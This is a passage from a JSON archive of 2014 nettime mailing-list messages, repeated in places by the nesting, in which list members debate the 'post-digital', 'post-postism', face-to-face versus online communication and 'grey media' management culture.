                                        "content": "\n>I think I'll just say that I have become post-postist.\n\nI hear about post-digital/New Media/Internet/Human/etc that I believe\nthat this only succeeds at placing us in a corner of opposition or\nrefusal and makes no suggestions. For all my distrust of it, at least\nNew Aestheticism posited something. Surfing clubs did. Post-ing does\nnot.\n\nPost-ism paints us in the corner of refusal without proposition and\nlittle else. It breaks the discourse into a molecular one without\nany potential coherence; it is Babel-ism at its height, and paints\nthe writer into a corner. I think it is some to begin framing new\ndiscourses not as \"new\" propositions, but as new propositions, like\nperhaps the age of convergence or integrationist, or mixed-reality\nart or even going back to intermedia. I am still a pluralist; not\ninto master narratives, but I want propositions for the present, not\nmere refusnikism. I want something that says something, not just that\n\"We're over that\", because I'm over being over things.\n\nPatrick.\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00029",
                                        "date": "Mon, 10 Mar 2014 11:45:05 -0600",
                                        "to": "<nettime-l {AT} mail.kein.org>",
                                        "message-id": "CF4353D5.225D%pl {AT} voyd.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00029.html",
                                        "content-type": "text/plai",
                                        "author_name": "temp",
                                        "subject": "<nettime> Post-Postism,"
                                    },
                                    {
                                        "from": "Keith Hart <keith {AT} thememorybank.co.uk>",
                                        "content": "Patrick,\n\nThank you for saying so elegantly what I have been thinking for the\npast 30 years or more. I always felt that the promise of fundamental\nchange was illusory in the 60s and 70s. Things started really moving\nin the 80s. OK it was neoliberalism, but for the first time I knew\nthat history was on the move. Of course it's impossible to understand\nour contemporary dilemmas without going further back than that. Yet\nthe literati produced as their blinding insight into that transitional\ndecade the hangover of postmodernism, deconstruction, the commonplace\nthat the contrasts of the Cold War were leaking into each other (what\nHegel called negative dialectic). Postism is decadent or at best\nretro. What is postcolonial theory if not nationalism with its eyes\nglued to the rearview mirror?\n\nKeith\n\n\n\nOn Mon, Mar 10, 2014 at 6:45 PM, temp <pl {AT} voyd.com> wrote:\n\n>\n> >I think I'll just say that I have become post-postist.\n>\n> I hear about post-digital/New Media/Internet/Human/etc that I believe\n> that this only succeeds at placing us in a corner of opposition or\n> refusal and makes no suggestions. For all my distrust of it, at least\n> New Aestheticism posited something. Surfing clubs did. Post-ing does\n> not.\n>\n> Post-ism paints us in the corner of refusal without proposition and\n> little else. It breaks the discourse into a molecular one without\n> any potential coherence; it is Babel-ism at its height, and paints\n> the writer into a corner. I think it is some to begin framing new\n> discourses not as \"new\" propositions, but as new propositions, like\n> perhaps the age of convergence or integrationist, or mixed-reality\n> art or even going back to intermedia. I am still a pluralist; not\n> into master narratives, but I want propositions for the present, not\n> mere refusnikism. I want something that says something, not just that\n> \"We're over that\", because I'm over being over things.\n>\n> Patrick.\n\n-- \nProf. Keith Hart\nwww.thememorybank.co.uk\n135 rue du Faubourg Poissonniere\n75009 Paris, France\nCell: +33684797365\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00033",
                                        "date": "Mon, 10 Mar 2014 18:57:58 +0100",
                                        "to": "a moderated mailing list for net criticism <nettime-l {AT} mail.kein.org>",
                                        "message-id": "CAF32U9HdZEysEZZMvykgKkosF6geF9bELs=r4DY64jvqjDn6Tg {AT} mail.gmail.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00033.html",
                                        "content-type": "text/plai",
                                        "author_name": "Keith Hart",
                                        "subject": "Re: <nettime> Post-Postism,"
                                    },
                                    {
                                        "from": "Keith Sanborn <mrzero {AT} panix.com>",
                                        "content": "\nIt's sometimes difficult to distinguish between a Luddite geezer (in\nthe Ame rican sense) and a person of age and wisdom with an historical\nperspective.\n\n<...>\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                        "id": "00036",
                                        "date": "Mon, 10 Mar 2014 13:34:58 -0400",
                                        "to": "\"<nettime-l {AT} mail.kein.org>\" <nettime-l {AT} mail.kein.org>",
                                        "message-id": "77A034B6&#45;1B21&#45;49D3&#45;AC26&#45;FF29D4A42F17 {AT} panix.com",
                                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00036.html",
                                        "content-type": "text/plai",
                                        "author_name": "Keith Sanborn",
                                        "subject": "Re: <nettime> Post-Postism,"
                                    }
                                ],
                                "from": "p <mp {AT} aktivix.org>",
                                "content": "\n\nSandra Braman wrote:\n \n> 2% of people -- across socio-economic class, meaning it isn't about\n> cost -- do not want a telephone in the home\n>\n> having lived that way for many years, i can report that the\n> pleasures of it are quite real\n\n\nas long as you have somewhere to go to send emails like this,\n\nand this is not a joke either: communal/collective spaces for\ncommunication can be really good. A place to meet. A digital square.\n\nAt the moment the self-organisation appears to me to organise oneself\n(and perhaps a partner and 1.1 child) at home, in your own home,\nwith all the revolutionary, connecting gadgets at hand.... The\nindividualists' revolution.\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00024",
                                "date": "Mon, 10 Mar 2014 09:51:22 +0100",
                                "to": "nettime-l {AT} mail.kein.org",
                                "message-id": "531D7D0A.8020102 {AT} aktivix.or",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00024.html",
                                "content-type": "text/plai",
                                "author_name": "mp",
                                "subject": "Re: <nettime> Post-digital"
                            },
                            {
                                "from": "temp <pl {AT} voyd.com>",
                                "content": "\n>I think I'll just say that I have become post-postist.\n\nI hear about post-digital/New Media/Internet/Human/etc that I believe\nthat this only succeeds at placing us in a corner of opposition or\nrefusal and makes no suggestions. For all my distrust of it, at least\nNew Aestheticism posited something. Surfing clubs did. Post-ing does\nnot.\n\nPost-ism paints us in the corner of refusal without proposition and\nlittle else. It breaks the discourse into a molecular one without\nany potential coherence; it is Babel-ism at its height, and paints\nthe writer into a corner. I think it is some to begin framing new\ndiscourses not as \"new\" propositions, but as new propositions, like\nperhaps the age of convergence or integrationist, or mixed-reality\nart or even going back to intermedia. I am still a pluralist; not\ninto master narratives, but I want propositions for the present, not\nmere refusnikism. I want something that says something, not just that\n\"We're over that\", because I'm over being over things.\n\nPatrick.\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00029",
                                "date": "Mon, 10 Mar 2014 11:45:05 -0600",
                                "to": "<nettime-l {AT} mail.kein.org>",
                                "message-id": "CF4353D5.225D%pl {AT} voyd.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00029.html",
                                "content-type": "text/plai",
                                "author_name": "temp",
                                "subject": "<nettime> Post-Postism,"
                            },
                            {
                                "from": "Keith Hart <keith {AT} thememorybank.co.uk>",
                                "content": "Patrick,\n\nThank you for saying so elegantly what I have been thinking for the\npast 30 years or more. I always felt that the promise of fundamental\nchange was illusory in the 60s and 70s. Things started really moving\nin the 80s. OK it was neoliberalism, but for the first time I knew\nthat history was on the move. Of course it's impossible to understand\nour contemporary dilemmas without going further back than that. Yet\nthe literati produced as their blinding insight into that transitional\ndecade the hangover of postmodernism, deconstruction, the commonplace\nthat the contrasts of the Cold War were leaking into each other (what\nHegel called negative dialectic). Postism is decadent or at best\nretro. What is postcolonial theory if not nationalism with its eyes\nglued to the rearview mirror?\n\nKeith\n\n\n\nOn Mon, Mar 10, 2014 at 6:45 PM, temp <pl {AT} voyd.com> wrote:\n\n>\n> >I think I'll just say that I have become post-postist.\n>\n> I hear about post-digital/New Media/Internet/Human/etc that I believe\n> that this only succeeds at placing us in a corner of opposition or\n> refusal and makes no suggestions. For all my distrust of it, at least\n> New Aestheticism posited something. Surfing clubs did. Post-ing does\n> not.\n>\n> Post-ism paints us in the corner of refusal without proposition and\n> little else. It breaks the discourse into a molecular one without\n> any potential coherence; it is Babel-ism at its height, and paints\n> the writer into a corner. I think it is some to begin framing new\n> discourses not as \"new\" propositions, but as new propositions, like\n> perhaps the age of convergence or integrationist, or mixed-reality\n> art or even going back to intermedia. I am still a pluralist; not\n> into master narratives, but I want propositions for the present, not\n> mere refusnikism. I want something that says something, not just that\n> \"We're over that\", because I'm over being over things.\n>\n> Patrick.\n\n-- \nProf. Keith Hart\nwww.thememorybank.co.uk\n135 rue du Faubourg Poissonniere\n75009 Paris, France\nCell: +33684797365\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00033",
                                "date": "Mon, 10 Mar 2014 18:57:58 +0100",
                                "to": "a moderated mailing list for net criticism <nettime-l {AT} mail.kein.org>",
                                "message-id": "CAF32U9HdZEysEZZMvykgKkosF6geF9bELs=r4DY64jvqjDn6Tg {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00033.html",
                                "content-type": "text/plai",
                                "author_name": "Keith Hart",
                                "subject": "Re: <nettime> Post-Postism,"
                            },
                            {
                                "from": "Keith Sanborn <mrzero {AT} panix.com>",
                                "content": "\nIt's sometimes difficult to distinguish between a Luddite geezer (in\nthe Ame rican sense) and a person of age and wisdom with an historical\nperspective.\n\n<...>\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00036",
                                "date": "Mon, 10 Mar 2014 13:34:58 -0400",
                                "to": "\"<nettime-l {AT} mail.kein.org>\" <nettime-l {AT} mail.kein.org>",
                                "message-id": "77A034B6&#45;1B21&#45;49D3&#45;AC26&#45;FF29D4A42F17 {AT} panix.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00036.html",
                                "content-type": "text/plai",
                                "author_name": "Keith Sanborn",
                                "subject": "Re: <nettime> Post-Postism,"
                            }
                        ],
                        "from": "Sandra Braman <braman {AT} uwm.edu>",
                        "content": "\n2% of people -- across socio-economic class, meaning it isn't about\ncost -- do not want a telephone in the home\n\nhaving lived that way for many years, i can report that the pleasures\nof it are quite real\n\nsandra braman\n\n----- Original Message -----\nFrom: \"Nick\" <nettime {AT} njw.me.uk>\nTo: nettime-l {AT} kein.org\nSent: Sunday, March 9, 2014 8:58:27 PM\nSubject: Re: <nettime> Post-digital\n\nQuoth Felix Stalder:\n\n> Enzensberger's text was just a joke, and the FAZ printed\n> it because it would stir controversy, not because it had much to offer\n> intellectually.\n\nWas it really just a joke? I'm not so sure dismissing it as that is \nappropriate. Sure it necessarily isn't a deep critique of the power \ndynamics at play with some of the newer technologies people are \nusing now, but it wasn't designed as that, and I for one find the \nprovocations basically reasonable.\n\n<....>\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00023",
                        "date": "Mon, 10 Mar 2014 01:29:00 -0500 (CDT)",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "1743955699.15531039.1394432940183.JavaMail.root {AT} uwm.edu",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00023.html",
                        "content-type": "text/plai",
                        "author_name": "Sandra Braman",
                        "subject": "Re: <nettime> Post-digital"
                    },
                    {
                        "from": "kontakt |\n\nflorian kuhlmann <kontakt {AT} floriankuhlmann.com>",
                        "content": "Am 10.03.2014 um 09:51 schrieb mp:\n\n> and this is not a joke either: communal/collective spaces for\n> communication can be really good. A place to meet. A digital square.\n\ni have to admit i less and less believe in this.\nthe only thing i am strongly recognizing is, that friends, people and socitey are getting more and more unreal, the more they are integrated in this digital communication sphere.\n\nthe same thing applys to you.\ni can insult you, laugh about you, ignore you, or praise you.\nnothing happens.\n\nfact is, all of you are not real. so i am i to you.\ni am just an e-mail with some texts, letters, etc for you.\nbelieve it or not. this is the new antisocial reality.\n\nsincerely\nan e-mail\n\n\n--- -- -\n\nhttp://www.floriankuhlmann.com\n\nmobil 0175 / 4 17 26 05\nmail kontakt {AT} floriankuhlmann.com\ntwitter  {AT} fkuhlmann\nskype florian_kuhlmann\n\n--- -- -\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00025",
                        "date": "Mon, 10 Mar 2014 11:57:24 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "b0eec6e2757b07a3613bfc34389fa64e {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00025.html",
                        "content-type": "text/plai",
                        "author_name": "kontakt |\n\nflorian kuhlmann",
                        "subject": "Re: <nettime> Post-digital"
                    },
                    {
                        "from": "p <mp {AT} aktivix.org>",
                        "content": "florian kuhlmann wrote:\n\n> Am 10.03.2014 um 09:51 schrieb mp:\n> \n>> and this is not a joke either: communal/collective spaces for \n>> communication can be really good. A place to meet. A digital\n>> square.\n> \n> i have to admit i less and less believe in this. the only thing i am\n> strongly recognizing is, that friends, people and socitey are getting\n> more and more unreal, the more they are integrated in this digital\n> communication sphere.\n> \n> the same thing applys to you. i can insult you, laugh about you,\n> ignore you, or praise you. nothing happens.\n> \n> fact is, all of you are not real. so i am i to you. i am just an\n> e-mail with some texts, letters, etc for you. believe it or not. this\n> is the new antisocial reality.\n\nyes, and probably due to having stared at the screen for too long, you\nmissed the point (and you appear to say the same thing, but present as\nif it was a contraindication): if we both had had to go to some real\nspace and place,\nwith chairs, windows, cables, doors and an outside, perhaps a little\ncafe with some Zapatista coffee, we could have had a chat about this -\nmaybe at the \"nettime table\" - and then I wouldn't have had to clarify\nby email and could instead have spend more time with you there, or my\nkids in the garden.\n\nEver been in an Indian phone centre? Now that'a a buzzing place..\n\nmp\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org",
                        "id": "00027",
                        "date": "Mon, 10 Mar 2014 13:44:00 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "5fe5b32b129d8e27ece5cec3264c4af7 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00027.html",
                        "content-type": "text/plai",
                        "author_name": "mp",
                        "subject": "Re: <nettime> Post-digital"
                    },
                    {
                        "from": "\"d.garcia\" <d.garcia {AT} new-tactical-research.co.uk>",
                        "content": "\nFelix Wrote\n\n> Where the terms makes no sense, in my view (and also in Florian's),\n> is sociologically. The most powerful forces that transform globalized\n> societies, are all dependent on, and amplified by, digital\n> technologies. If anything, we are in the middle of the historical\n> run of this development rather than at the end. The idea that the\n> digital is just one dimension of society and that we can abandon it,\n> is ludicrous.\n\nAlong with Sociology might it also be a worth including \"psychology\"\nin the mix. Particularly in those spaces where digital management\ntools such as gantt charts and other popular workflow apps along with\ntheir digital jargon have shaped influential forms of pop psychology,\nsuch as the Neuro Linguistic Programming (NLP) (whose very name is\nself incriminating) In turn these 'instruments' insinuate themselves\nin to the working day of most organisations becoming the default argot\nof neo-manegerial audit culture with its positivistic lexicon of\n'solutions' .\n\nThis landscape is described in rich and entertaining detail in Evil\nMedia by Mathew Fuller and Andrew Jofey who have done us a great\nservice of mapping and describing this domain of what they have dubbed\n'grey media'. A range of connections linking computing, and digital\nmanagement and business applications with NLP type psychology and\nmanagement self help books. Collectively this digitally inspired\nconstellation has metastasised into a weirdly seductive language\n(seductive because it suggests the possibility of controling our\nevents) that is all the more powerful BECAUSE it is unspectacular. As\nthe term 'grey media' suggests it fades into background becoming the\nsocial and psychological infrastructure of the grey media age.\n\nIn a weird inversion of the Debord, Grey Media deploys digital culture\nto bring us the 'society of the unspectacular'\n\nDavid \n------------------------\n\n\nd a v i d  g a r c i a\nnew-tactical-research.co.uk\n\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00032",
                        "date": "Mon, 10 Mar 2014 18:10:26 +0000",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "49B6D021&#45;4C81&#45;4AC6&#45;BB84&#45;856D68A9DE8D {AT} new&#45;tactical&#45;research.co.uk",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00032.html",
                        "content-type": "text/plai",
                        "author_name": "d.garcia",
                        "subject": "Re: <nettime> Post-digital"
                    },
                    {
                        "from": "John Hopkins <jhopkins {AT} neoscenes.net>",
                        "content": "\n\nRousseau comes fleetingly to mind:\n\n\"The problem is to find a form of association which will defend and\nprotect with the whole common force the person and goods of each\nassociate, and in which each, while uniting himself with all, may\nstill obey himself alone, and remain as free as before.\"\n\nAnd a short extract from my dissertation that resonates with that\nquestion of how to proceed while propping up the wider techno-social\nsystem *less*:\n\n\"We most impact the power concentrations of the Regime by cultivating\nan understanding of where our energy comes from, at all scales,\nwhere it goes, and most importantly, where our attention is engaged:\non which signals, on which flows. In the process of paying close\nattention to the highly mediated, amplified, signals of the Regime,\ndirected by its protocols, we confirm our reciprocal role as its\noptimized energy source. By (re)turning our creative attentions to\nthe granular sources of the Regime's energy -- to the individual\nOthers around us -- and spending our life-energy, our life-time in\nless mediated Dialogue with them via our own protocols, we immediately\nbegin draining the Regime of its primary power source. We preserve\nthose limited life-energies for more local and immediate encounters.\nIt is within these energized encounters, these Dialogues between the\nSelf and the Other, where transformation, (r)evolution, and change\nare ultimately sited. As a media artist, it is this generation of\nlocalized protocols that is perhaps the most effective strategy to\nmitigate or even reverse the slide toward hierarchic centralization\n[and consequent surveillance!!]. It should be some solace that though\nwe cannot escape the ultimate destiny of Life on the planet: in the\nmean while we may choose to go with the flow of dialogue, embracing\nchange in the Self and in the Other, here, now.\"\n\nand this aside, crucially: http://tech-no-mad.net/blog/archives/1199\n\nCheers,\nJohn\n\n\n\n--\n++++++++++++++++++++++++++++++++++++++++++++++++++\nDr. John Hopkins, BSc, MFA, PhD\nphotographer, media artist, archivist\nhttp://tech-no-mad.net/blog/\n++++++++++++++++++++++++++++++++++++++++++++++++++\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00037",
                        "date": "Mon, 10 Mar 2014 10:33:49 -0700",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "531DF77D.4060203 {AT} neoscenes.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00037.html",
                        "content-type": "text/plai",
                        "author_name": "John Hopkins",
                        "subject": "Re: <nettime> Post-digital"
                    },
                    {
                        "from": "\"Griffis, Ryan\" <ryan.griffis {AT} gmail.com>",
                        "content": "\nThis discussion, especially related to questions of \"mindful\ndisconnection,\" recalls Sigfried Giedion's 1948 \"anonymous history,\"\n\"Mechanization Takes Command.\"\n\nhttp://quod.lib.umich.edu/cgi/t/text/text-idx?c=acls;idno=heb01139\n\nAs he put it:\n\n\"Never has mankind possessed so many instruments for abolishing\nslavery. But the promises of a better life have not been kept. All we\nhave to show so far is a rather disquieting inability to organize the\nworld, or even to organize ourselves.\"\n\nOf course, the idea that any instruments have the potential to abolish\nslavery has to be read against Eric's statement: \"Whatever technology\nand/or social process that can be used to strengthen the interests of\nstrategic power, will be used to strengthen the interests of strategic\npower.\"\n\nNonetheless, I found it a very useful historical analysis to consider\nalongside these discussions.\n\nBest,\nryan\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00039",
                        "date": "Mon, 10 Mar 2014 12:28:18 -0500",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "98daead4b101d51625d0cf40c9f9525f {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00039.html",
                        "content-type": "text/plai",
                        "author_name": "Griffis, Ryan",
                        "subject": "Re: <nettime> Post-digital"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "temp <pl {AT} voyd.com>",
                                "content": "\n>I think I'll just say that I have become post-postist.\n\nI hear about post-digital/New Media/Internet/Human/etc that I believe\nthat this only succeeds at placing us in a corner of opposition or\nrefusal and makes no suggestions. For all my distrust of it, at least\nNew Aestheticism posited something. Surfing clubs did. Post-ing does\nnot.\n\nPost-ism paints us in the corner of refusal without proposition and\nlittle else. It breaks the discourse into a molecular one without\nany potential coherence; it is Babel-ism at its height, and paints\nthe writer into a corner. I think it is some to begin framing new\ndiscourses not as \"new\" propositions, but as new propositions, like\nperhaps the age of convergence or integrationist, or mixed-reality\nart or even going back to intermedia. I am still a pluralist; not\ninto master narratives, but I want propositions for the present, not\nmere refusnikism. I want something that says something, not just that\n\"We're over that\", because I'm over being over things.\n\nPatrick.\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00029",
                                "date": "Mon, 10 Mar 2014 11:45:05 -0600",
                                "to": "<nettime-l {AT} mail.kein.org>",
                                "message-id": "CF4353D5.225D%pl {AT} voyd.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00029.html",
                                "content-type": "text/plai",
                                "author_name": "temp",
                                "subject": "<nettime> Post-Postism,"
                            },
                            {
                                "from": "Keith Hart <keith {AT} thememorybank.co.uk>",
                                "content": "Patrick,\n\nThank you for saying so elegantly what I have been thinking for the\npast 30 years or more. I always felt that the promise of fundamental\nchange was illusory in the 60s and 70s. Things started really moving\nin the 80s. OK it was neoliberalism, but for the first time I knew\nthat history was on the move. Of course it's impossible to understand\nour contemporary dilemmas without going further back than that. Yet\nthe literati produced as their blinding insight into that transitional\ndecade the hangover of postmodernism, deconstruction, the commonplace\nthat the contrasts of the Cold War were leaking into each other (what\nHegel called negative dialectic). Postism is decadent or at best\nretro. What is postcolonial theory if not nationalism with its eyes\nglued to the rearview mirror?\n\nKeith\n\n\n\nOn Mon, Mar 10, 2014 at 6:45 PM, temp <pl {AT} voyd.com> wrote:\n\n>\n> >I think I'll just say that I have become post-postist.\n>\n> I hear about post-digital/New Media/Internet/Human/etc that I believe\n> that this only succeeds at placing us in a corner of opposition or\n> refusal and makes no suggestions. For all my distrust of it, at least\n> New Aestheticism posited something. Surfing clubs did. Post-ing does\n> not.\n>\n> Post-ism paints us in the corner of refusal without proposition and\n> little else. It breaks the discourse into a molecular one without\n> any potential coherence; it is Babel-ism at its height, and paints\n> the writer into a corner. I think it is some to begin framing new\n> discourses not as \"new\" propositions, but as new propositions, like\n> perhaps the age of convergence or integrationist, or mixed-reality\n> art or even going back to intermedia. I am still a pluralist; not\n> into master narratives, but I want propositions for the present, not\n> mere refusnikism. I want something that says something, not just that\n> \"We're over that\", because I'm over being over things.\n>\n> Patrick.\n\n-- \nProf. Keith Hart\nwww.thememorybank.co.uk\n135 rue du Faubourg Poissonniere\n75009 Paris, France\nCell: +33684797365\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00033",
                                "date": "Mon, 10 Mar 2014 18:57:58 +0100",
                                "to": "a moderated mailing list for net criticism <nettime-l {AT} mail.kein.org>",
                                "message-id": "CAF32U9HdZEysEZZMvykgKkosF6geF9bELs=r4DY64jvqjDn6Tg {AT} mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00033.html",
                                "content-type": "text/plai",
                                "author_name": "Keith Hart",
                                "subject": "Re: <nettime> Post-Postism,"
                            },
                            {
                                "from": "Keith Sanborn <mrzero {AT} panix.com>",
                                "content": "\nIt's sometimes difficult to distinguish between a Luddite geezer (in\nthe Ame rican sense) and a person of age and wisdom with an historical\nperspective.\n\n<...>\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                                "id": "00036",
                                "date": "Mon, 10 Mar 2014 13:34:58 -0400",
                                "to": "\"<nettime-l {AT} mail.kein.org>\" <nettime-l {AT} mail.kein.org>",
                                "message-id": "77A034B6&#45;1B21&#45;49D3&#45;AC26&#45;FF29D4A42F17 {AT} panix.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00036.html",
                                "content-type": "text/plai",
                                "author_name": "Keith Sanborn",
                                "subject": "Re: <nettime> Post-Postism,"
                            }
                        ],
                        "from": "p <mp {AT} aktivix.org>",
                        "content": "\n\nSandra Braman wrote:\n \n> 2% of people -- across socio-economic class, meaning it isn't about\n> cost -- do not want a telephone in the home\n>\n> having lived that way for many years, i can report that the\n> pleasures of it are quite real\n\n\nas long as you have somewhere to go to send emails like this,\n\nand this is not a joke either: communal/collective spaces for\ncommunication can be really good. A place to meet. A digital square.\n\nAt the moment the self-organisation appears to me to organise oneself\n(and perhaps a partner and 1.1 child) at home, in your own home,\nwith all the revolutionary, connecting gadgets at hand.... The\nindividualists' revolution.\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00024",
                        "date": "Mon, 10 Mar 2014 09:51:22 +0100",
                        "to": "nettime-l {AT} mail.kein.org",
                        "message-id": "531D7D0A.8020102 {AT} aktivix.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00024.html",
                        "content-type": "text/plai",
                        "author_name": "mp",
                        "subject": "Re: <nettime> Post-digital"
                    },
                    {
                        "from": "temp <pl {AT} voyd.com>",
                        "content": "\n>I think I'll just say that I have become post-postist.\n\nI hear about post-digital/New Media/Internet/Human/etc that I believe\nthat this only succeeds at placing us in a corner of opposition or\nrefusal and makes no suggestions. For all my distrust of it, at least\nNew Aestheticism posited something. Surfing clubs did. Post-ing does\nnot.\n\nPost-ism paints us in the corner of refusal without proposition and\nlittle else. It breaks the discourse into a molecular one without\nany potential coherence; it is Babel-ism at its height, and paints\nthe writer into a corner. I think it is some to begin framing new\ndiscourses not as \"new\" propositions, but as new propositions, like\nperhaps the age of convergence or integrationist, or mixed-reality\nart or even going back to intermedia. I am still a pluralist; not\ninto master narratives, but I want propositions for the present, not\nmere refusnikism. I want something that says something, not just that\n\"We're over that\", because I'm over being over things.\n\nPatrick.\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00029",
                        "date": "Mon, 10 Mar 2014 11:45:05 -0600",
                        "to": "<nettime-l {AT} mail.kein.org>",
                        "message-id": "CF4353D5.225D%pl {AT} voyd.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1403/msg00029.html",
                        "content-type": "text/plai",
                        "author_name": "temp",
                        "subject": "<nettime> Post-Postism,"
                    },
                    {
                        "from": "Keith Hart <keith {AT} thememorybank.co.uk>",
